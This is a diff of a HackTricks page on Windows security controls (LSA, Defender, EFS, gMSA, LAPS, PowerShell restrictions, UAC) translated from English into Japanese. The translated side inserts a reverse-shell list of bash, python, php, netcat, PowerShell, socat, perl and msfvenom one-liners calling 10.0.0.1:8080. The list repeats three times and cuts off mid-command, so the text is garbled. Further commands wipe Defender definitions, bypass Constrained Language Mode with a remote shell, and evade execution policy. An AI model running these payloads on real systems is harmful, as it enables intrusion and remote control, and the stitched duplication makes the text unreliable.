+LSAはローカルの**セキュリティポリシー**(パスワードポリシー、ユーザーの権限など)、**認証**、**アクセストークン**の管理などを行います。\ +LSAは、ローカルログインの場合は**SAM**ファイル内の提供された認証情報を**チェック**し、ドメインユーザーの認証には**ドメインコントローラ**と通信します。 -The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords. +**認証情報**は**LSASSプロセス**内に保存されます。Kerberosチケット、NTおよびLMのハッシュ、簡単に復号できるパスワードなどが含まれます。 -### LSA secrets +### LSAのシークレット -LSA could save in disk some credentials: +LSAはディスクにいくつかの認証情報を保存することがあります: -* Password of the computer account of the Active Directory (unreachable domain controller). -* Passwords of the accounts of Windows services -* Passwords for scheduled tasks -* More (password of IIS applications...) +* Active Directoryのコンピューターアカウントのパスワード(到達不能なドメインコントローラ)。 +* Windowsサービスのアカウントのパスワード +* スケジュールされたタスクのパスワード +* その他(IISアプリケーションのパスワードなど) ### NTDS.dit -It is the database of the Active Directory. It is only present in Domain Controllers. +これはActive Directoryのデータベースです。ドメインコントローラにのみ存在します。 ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft\_Defender) **** is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It **blocks** common pentesting tools such as **`WinPEAS`**. However, there are ways to **bypass these protections**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft\_Defender)は、Windows 10およびWindows 11、およびWindows Serverのバージョンで利用可能なアンチウイルスソフトウェアです。**`WinPEAS`**などの一般的なペンテストツールを**ブロック**します。ただし、これらの保護を**バイパスする方法**があります。 -### Check +### チェック -To check the **status** of **Defender** you can execute the PS cmdlet **`Get-MpComputerStatus`** (check the value of **`RealTimeProtectionEnabled`** to know if it's active): +**Defender**の**状態**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行します(**`RealTimeProtectionEnabled`**の値を確認してアクティブかどうかを確認します):
PS C:\> Get-MpComputerStatus
 
@@ -110,8 +106,7 @@ NISEngineVersion                : 0.0.0.0
 RealTimeScanDirection           : 0
 PSComputerName                  :
-To enumerate it you could also run: - +列挙するには、次のコマンドも実行できます: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -120,63 +115,60 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` +## EFS(暗号化ファイルシステム) -## EFS (Encrypted File System) +EFSは、ファイルを**対称鍵**(ファイル暗号化鍵または**FEK**とも呼ばれる)で暗号化することによって機能します。その後、暗号化されたFEKは、ファイルを暗号化したユーザーに関連付けられた**公開鍵**で暗号化され、この暗号化されたFEKは暗号化されたファイルの$EFS **代替データストリーム**に格納されます。ファイルを復号化するには、EFSコンポーネントドライバーは、$EFSストリームに格納されている対称鍵を復号化するために、ファイルを暗号化したEFSデジタル証明書に一致する**秘密鍵**を使用します。[ここから](https://en.wikipedia.org/wiki/Encrypting\_File\_System)。 -EFS works by encrypting a file with a bulk **symmetric key**, also known as the File Encryption Key, or **FEK**. The FEK is then **encrypted** with a **public key** that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS **alternative data stream** of the encrypted file. To decrypt the file, the EFS component driver uses the **private key** that matches the EFS digital certificate (used to encrypt the file) to decrypt the symmetric key that is stored in the $EFS stream. From [here](https://en.wikipedia.org/wiki/Encrypting\_File\_System). +ユーザーが要求しなくても、次のような例でファイルが復号化されることがあります。 -Examples of files being decrypted without the user asking for it: +* ファイルとフォルダは、[FAT32](https://en.wikipedia.org/wiki/File\_Allocation\_Table)などの別のファイルシステムでフォーマットされたボリュームにコピーされる前に復号化されます。 +* 暗号化されたファイルは、SMB/CIFSプロトコルを使用してネットワーク経由でコピーされる場合、ファイルはネットワークに送信される前に復号化されます。 -* Files and folders are decrypted before being copied to a volume formatted with another file system, like [FAT32](https://en.wikipedia.org/wiki/File\_Allocation\_Table). -* Encrypted files are copied over the network using the SMB/CIFS protocol, the files are decrypted before they are sent over the network. +この方法で暗号化されたファイルは、**所有者ユーザー**(暗号化したユーザー)によって**透過的にアクセス**できます。したがって、そのユーザーになることができれば、ファイルを復号化できます(ユーザーのパスワードを変更してログインすることはできません)。 -The encrypted files using this method can be **tansparently access by the owner user** (the one who has encrypted them), so if you can **become that user** you can decrypt the files (changing the password of the user and logins as him won't work). +### EFS情報の確認 -### Check EFS info +このパスが存在するかどうかを確認して、**ユーザー**がこの**サービス**を**使用**したかどうかを確認します:`C:\users\\appdata\roaming\Microsoft\Protect` -Check if a **user** has **used** this **service** checking if this path exists:`C:\users\\appdata\roaming\Microsoft\Protect` +cipher /c \\を使用して、ファイルに**アクセス権**を持つ**ユーザー**を確認します。 +また、`cipher /e`と`cipher /d`をフォルダ内で使用して、すべてのファイルを**暗号化**および**復号化**することもできます。 -Check **who** has **access** to the file using cipher /c \\ -You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files +### EFSファイルの復号化 -### Decrypting EFS files +#### Authority Systemである場合 -#### Being Authority System +この方法では、**被害者ユーザー**がホスト内で**プロセス**を**実行**している必要があります。その場合、`meterpreter`セッションを使用して、ユーザーのプロセスのトークンをなりすますことができます(`incognito`の`impersonate_token`を使用)。または、ユーザーのプロセスに`migrate`することもできます。 -This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user. - -#### Knowing the users password +#### ユーザーのパスワードを知っている場合 {% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} -## Group Managed Service Accounts (gMSA) +## グループ管理サービスアカウント(gMSA) -In most of the infrastructures, service accounts are typical user accounts with “**Password never expire**” option. Maintaining these accounts could be a real mess and that's why Microsoft introduced **Managed Service Accounts:** +ほとんどのインフラストラクチャでは、サービスアカウントは「**パスワードの有効期限なし**」オプションを持つ通常のユーザーアカウントです。これらのアカウントの管理は本当にめんどくさいことになることがあり、それがMicrosoftが**管理サービスアカウント**を導入した理由です: -* No more password management. It uses a complex, random, 240-character password and changes that automatically when it reaches the domain or computer password expire date. - * It is uses Microsoft Key Distribution Service (KDC) to create and manage the passwords for the gMSA. -* It cannot be lock out or use for interactive login -* Supports to share across multiple hosts -* Can use to run schedule tasks (Managed service accounts do not support to run schedule tasks) -* Simplified SPN Management – System will automatically change the SPN value if **sAMaccount** details of the computer change or DNS name property change. +* パスワードの管理が不要です。複雑でランダムな240文字のパスワードを使用し、ドメインまたはコンピュータのパスワードの有効期限が切れると自動的に変更されます。 +* Microsoft Key Distribution Service(KDC)を使用してgMSAのパスワードを作成および管理します。 +* ロックアウトされることはなく、対話型ログインには使用できません。 +* 複数のホストで共有することができます。 +* スケジュールされたタスクを実行するために使用できます(管理サービスアカウントはスケジュールされたタスクの実行をサポートしていません)。 +* 簡素化されたSPN管理 - システムは、コンピュータの**sAMaccount**の詳細やDNS名のプロパティが変更された場合、自動的にSPN値を変更します。 -gMSA accounts have their passwords stored in a LDAP property called _**msDS-ManagedPassword**_ which **automatically** get **resets** by the DC’s every 30 days, are **retrievable** by **authorized administrators** and by the **servers** who they are installed on. _**msDS-ManagedPassword**_ is an encrypted data blob called [MSDS-MANAGEDPASSWORD\_BLOB](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) and it’s only retrievable when the connection is secured, **LDAPS** or when the authentication type is ‘Sealing & Secure’ for an example. +gMSAアカウントのパスワードは、LDAPプロパティである_**msDS-ManagedPassword**_に格納されており、DCは30日ごとに自動的にリセットされ、**認証された管理者**およびインストールされている**サーバー**によって取得できます。_**msDS-ManagedPassword**_は、接続がセキュリティで保護されている場合(LDAPS)や認証タイプが「シーリング&セキュア」の場合にのみ取得できる暗号化されたデータブロブであり、[MSDS-MANAGEDPASSWORD\_BLOB](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)と呼ばれます。 ![Image from https://cube0x0.github.io/Relaying-for-gMSA/](../.gitbook/assets/asd1.png) -So, if gMSA is being used, find if it has **special privileges** and also check if you have **permissions** to **read** the password of the services. - -You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +したがって、gMSAが使用されている場合は、**特権**を持っているかどうかを確認し、サービスのパスワードを**読み取る**権限があるかどうかも確認してください。 +[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)を使用してこのパスワードを読み取ることができます。 ``` /GMSAPasswordReader --AccountName jkohler ``` - -Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. +また、この[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)では、**NTLMリレーアタック**を使用して**gMSA**の**パスワード**を**読み取る**方法について説明しています。 ## LAPS -****[**Local Administrator Password Solution (LAPS)**](https://www.microsoft.com/en-us/download/details.aspx?id=46899) allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If your user is given enough permissions you might be able to read the passwords of the local admins. +****[**Local Administrator Password Solution (LAPS)**](https://www.microsoft.com/en-us/download/details.aspx?id=46899)は、ドメインに参加しているコンピュータの**ローカル管理者パスワード**(**ランダム化**、一意で**定期的に変更**される)を管理することができます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されています。ユーザーに十分な権限が与えられている場合、ローカル管理者のパスワードを読み取ることができるかもしれません。 {% content-ref url="active-directory-methodology/laps.md" %} [laps.md](active-directory-methodology/laps.md) @@ -184,43 +176,303 @@ Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about ## PS Constrained Language Mode -PowerShell **** [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **locks down many of the features** needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more. - -### **Check** +PowerShell **** [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)は、PowerShellを効果的に使用するために必要な多くの機能を**制限**します。これには、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなどが含まれます。 +### **チェック** ```powershell $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` +### バイパス -### Bypass - +Bypass(バイパス) ```powershell #Easy bypass Powershell -version 2 ``` +現在のWindowsでは、このバイパスは機能しませんが、[**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用することができます。\ +**コンパイルするためには、** **参照を追加する必要があります** **->** _**参照の追加**_ -> _参照の参照_ -> _参照の参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更します**。 -In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). \ -**To compile it you may need** **to** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**. - -#### Direct bypass: - +#### 直接バイパス: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` +#### リバースシェル: -#### Reverse shell: +```bash +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 +``` +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +``` + +```php +php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +``` + +```nc +nc -e /bin/sh 10.0.0.1 8080 +``` + +```powershell +powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +```java +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` + +```xterm +xterm -display 10.0.0.1:1 +``` + +```msfvenom +msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe +``` + +```msfconsole +use exploit/multi/handler +set PAYLOAD windows/shell_reverse_tcp +set LHOST 10.0.0.1 +set LPORT 8080 +exploit +``` + +```ncat +ncat 10.0.0.1 8080 -e /bin/bash +``` + +```socat +socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane +``` + +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' +``` + +```telnet +rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p +``` + +```awk +awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' +``` + +```lua +lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');" +``` + +```powershell +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +``` + +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +``` + +```php +php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +``` + +```nc +nc -e /bin/sh 10.0.0.1 8080 +``` + +```powershell +powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +```java +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` + +```xterm +xterm -display 10.0.0.1:1 +``` + +```msfvenom +msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe +``` + +```msfconsole +use exploit/multi/handler +set PAYLOAD windows/shell_reverse_tcp +set LHOST 10.0.0.1 +set LPORT 8080 +exploit +``` + +```ncat +ncat 10.0.0.1 8080 -e /bin/bash +``` + +```socat +socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane +``` + +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' +``` + +```telnet +rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p +``` + +```awk +awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' +``` + +```lua +lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');" +``` + +```powershell +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +``` + +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +``` + +```php +php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +``` + +```nc +nc -e /bin/sh 10.0.0.1 8080 +``` + +```powershell +powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +```java +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` + +```xterm +xterm -display 10.0.0.1:1 +``` + +```msfvenom +msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe +``` + +```msfconsole +use exploit/multi/handler +set PAYLOAD windows/shell_reverse_tcp +set LHOST 10.0.0.1 +set LPORT 8080 +exploit +``` + +```ncat +ncat 10.0.0.1 8080 -e /bin/bash +``` + +```socat +socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane +``` + +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' +``` + +```telnet +rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p +``` + +```awk +awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' +``` + +```lua +lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');" +``` + +```powershell +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +``` + +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +``` + +```php +php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +``` + +```nc +nc -e /bin/sh 10.0.0.1 8080 +``` + +```powershell +powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +```java +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` + +```xterm +xterm -display 10.0.0.1:1 +``` + +```msfvenom +msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe +``` + +```msfconsole +use exploit/multi/handler +set PAYLOAD windows/shell_reverse_tcp +set LHOST 10.0.0.1 +set LPORT 8080 +exploit +``` + +```ncat +ncat 10.0.0.1 8080 -e /bin/bash +``` + +```socat +socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane +``` + +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotoby ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` +[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)または[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、制約モードをバイパスし、任意のプロセスで**PowerShellコードを実行**することができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を参照してください。 -You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). - -## PS Execution Policy - -By default it is set to **restricted.** Main ways to bypass this policy: +## PS実行ポリシー +デフォルトでは、**制限**が設定されています。このポリシーをバイパスする主な方法は次のとおりです: ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -240,33 +492,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` - -More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +詳細は[こちら](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)で確認できます。 ## Security Support Provider Interface (SSPI) -Is the API that can be use to authenticate users. +ユーザーの認証に使用できるAPIです。 -The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate. +SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見つける役割を担います。これには、Kerberosが最も一般的に使用されます。その後、SSPIはどの認証プロトコルを使用するかを交渉し、これらの認証プロトコルはセキュリティサポートプロバイダ(SSP)と呼ばれ、各Windowsマシン内のDLLとして存在し、通信するためには両方のマシンで同じサポートが必要です。 -### Main SSPs +### 主なSSP -* **Kerberos**: The preferred one - * %windir%\Windows\System32\kerberos.dll -* **NTLMv1** and **NTLMv2**: Compatibility reasons - * %windir%\Windows\System32\msv1\_0.dll -* **Digest**: Web servers and LDAP, password in form of a MD5 hash - * %windir%\Windows\System32\Wdigest.dll -* **Schannel**: SSL and TLS - * %windir%\Windows\System32\Schannel.dll -* **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one) - * %windir%\Windows\System32\lsasrv.dll +* **Kerberos**: 最も一般的なもの +* %windir%\Windows\System32\kerberos.dll +* **NTLMv1**および**NTLMv2**: 互換性のため +* %windir%\Windows\System32\msv1\_0.dll +* **Digest**: WebサーバーとLDAP、MD5ハッシュ形式のパスワード +* %windir%\Windows\System32\Wdigest.dll +* **Schannel**: SSLおよびTLS +* %windir%\Windows\System32\Schannel.dll +* **Negotiate**: 使用するプロトコルを交渉するために使用されます(デフォルトはKerberos) +* %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### 交渉には複数の方法または1つの方法のみが提供される場合があります。 -## UAC - User Account Control +## UAC - ユーザーアカウント制御 -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. +[ユーザーアカウント制御(UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)は、**昇格したアクティビティの承認プロンプト**を有効にする機能です。 {% content-ref url="windows-security-controls/uac-user-account-control.md" %} [uac-user-account-control.md](windows-security-controls/uac-user-account-control.md) @@ -277,8 +528,8 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -288,10 +539,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* サイバーセキュリティ企業で働いていますか? 